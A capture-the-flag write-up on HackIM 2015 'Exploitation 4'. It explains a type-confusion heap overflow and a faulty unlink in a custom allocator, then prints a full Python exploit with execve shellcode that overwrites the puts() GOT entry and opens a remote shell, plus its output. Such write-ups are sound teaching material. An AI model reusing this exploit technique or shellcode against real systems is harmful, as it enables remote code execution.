HACKIM CTF 2015 – Exploitation 4

Exploitation 4 was a 32 bit ELF without NX protection. The binary implements a custom allocator using sbrk. Each chunk holds a metadata of 12 byte. First DWORD holds the size and last bit is set if the chunk is used. 2nd DWORD points to next chunk and 3rd DWORD points to previous chunk. Rest of details of allocator could be skipped for understanding this exploit.

Deallocator routine implements a unlink operation for freeing chunks. It has a bug when computing address of header, the deallocator does (pointer-16) when the header is only 12 bytes.

Please enter one of the following option:
1 to add a Note.
2 to delete a Note.
3 to edit a Note.
4 to show a Note.
5 to exit.
Your Choice:
1
Give the type of the Note:
0
Please enter one of the following option:
1 to add a Note.
2 to delete a Note.
3 to edit a Note.
4 to show a Note.
5 to exit.
Your Choice:
2
Give the Note id to delete:
0
Segmentation fault (core dumped)
These details will be useful during exploitation.

Vulnerability

The binary allows to add notes for each predefined 3 types. Type 0 allocating 100 bytes, type 1 allocating 200 bytes and type 2 allocating 400 bytes for notes. bss section maintains an array of all allocated chunks which could be accessed using id.

The vulnerability is because, type information is not saved. During edit operation, type information could be changed so that 200 or 400 bytes could be read into a 100 byte chunk. there by corrupting metadata of adjacent chunks.

Deallocator routine



chunk_to_delete = ptr - 16; // wrong index
next_ptr = *(_DWORD *)(ptr - 16 + 4); // size is read
prev_ptr = *(_DWORD *)(ptr - 16 + 8); // next_ptr is read

if ( prev_ptr )
*(_DWORD *)(prev_ptr + 4) = next_ptr; // if not first node, next->next = current-> size

if ( next_ptr )
*(_DWORD *)(next_ptr + 8) = prev_ptr; // if not last node, size->prev = current-> next

By overwriting the metadata of chunk, we could get a write anything anywhere primitive.

ASLR bypass and Exploit

Though we have info leak using show Note feature, we could allocate a 3rd chunk and overwrite this with shellcode. In the 2nd chunk preserve the 2nd DWORD, except for 1 byte newline overwrite(this will be read as previous pointer). Overwrite size DWORD with address that needs to be overwritten, GOT entry of puts() in our case. This will be read as next pointer.

Since next_ptr is GOT of puts() and prev_ptr is address of 3rd chunk with shellcode, we could reliably overwrite the GOT entry to get shell. Below is the full exploit

#!/usr/bin/env python

import struct
import telnetlib
import socket

nop = chr(0x90) * 30
jmp = '9090eb1c'.decode('hex')
execve = '31c9f7e151682f2f7368682f62696e89e3b00bcd80'.decode('hex')
payload = jmp + nop + execve
puts = 0x0804b014

ip = "127.0.0.1"
ip = "54.163.248.69"
port = 9004
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

msg = dict()
msg['CHOICE'] = 'Your Choice:\n'
msg['NOTETYPE'] = 'Give the type of the Note:\n'
msg['DELETEID'] = 'Give the Note id to delete:\n'
msg['EDITID'] = 'Give the Note id to edit:\n'
msg['EDITTYPE'] = 'Give the type to edit:\n'
msg['SETNOTE'] = 'Give your Note:\n'
msg['GETNOTE'] = 'Give the Noteid to print:\n'

def recv_msg(delimiter):
global soc
rbuffer = ''
while not rbuffer.endswith(delimiter):
rbuffer += soc.recv(1)
return rbuffer

def send_msg(m):
global soc
soc.send(m + chr(0xa))

print "[*] Creating 1st note"
recv_msg(msg['CHOICE'])
# add 1st note
send_msg('1')
recv_msg(msg['NOTETYPE'])
# set type to 0
send_msg('0')

print "[*] Creating 2nd note"
recv_msg(msg['CHOICE'])
# add 2nd note
send_msg('1')
recv_msg(msg['NOTETYPE'])
# set type to 0
send_msg('0')

print "[*] Creating 3rd note"
recv_msg(msg['CHOICE'])
# add 3rd note
send_msg('1')
recv_msg(msg['NOTETYPE'])
# set type to 0
send_msg('0')

print "[*] Setting up payload in 3rd note by editing 2nd"
recv_msg(msg['CHOICE'])
# edit 2nd note to overflow into 3rd for ASLR bypass
send_msg('3')
recv_msg(msg['EDITID'])
# edit first chunk
send_msg('1')
recv_msg(msg['EDITTYPE'])
# change note type
send_msg('2')
recv_msg(msg['SETNOTE'])
send_msg('A'*110 + payload)

print "[*] Overwriting pointers in 2nd note by editing 1st"
recv_msg(msg['CHOICE'])
# edit 1st note to overflow into 2nd
send_msg('3')
recv_msg(msg['EDITID'])
# edit 0th chunk
send_msg('0')
recv_msg(msg['EDITTYPE'])
# change note type
send_msg('2')
recv_msg(msg['SETNOTE'])
send_msg('A'*116 + struct.pack("<I", puts - 8))

print "[*] Deleting 2nd note to overwrite GOT entry of puts()"
recv_msg(msg['CHOICE'])
# trigger by delete
send_msg('2')
recv_msg(msg['DELETEID'])
# delete 2nd note
send_msg('1')

print "[*] Shell"
s = telnetlib.Telnet()
s.sock = soc
s.interact()


[email protected]:~/HackIM/MentalNotes$ python sploit_mentalnote.py
[*] Creating 1st note
[*] Creating 2nd note
[*] Creating 3rd note
[*] Setting up payload in 3rd note by editing 2nd
[*] Overwriting pointers in 2nd note by editing 1st
[*] Deleting 2nd note to overwrite GOT entry of puts()
[*] Shell
cat flag.txt
flag{y0u_br0k3_1n70_5h3rl0ck_m1ndp4l4c3}
Flag for the challenge is flag{y0u_br0k3_1n70_5h3rl0ck_m1ndp4l4c3}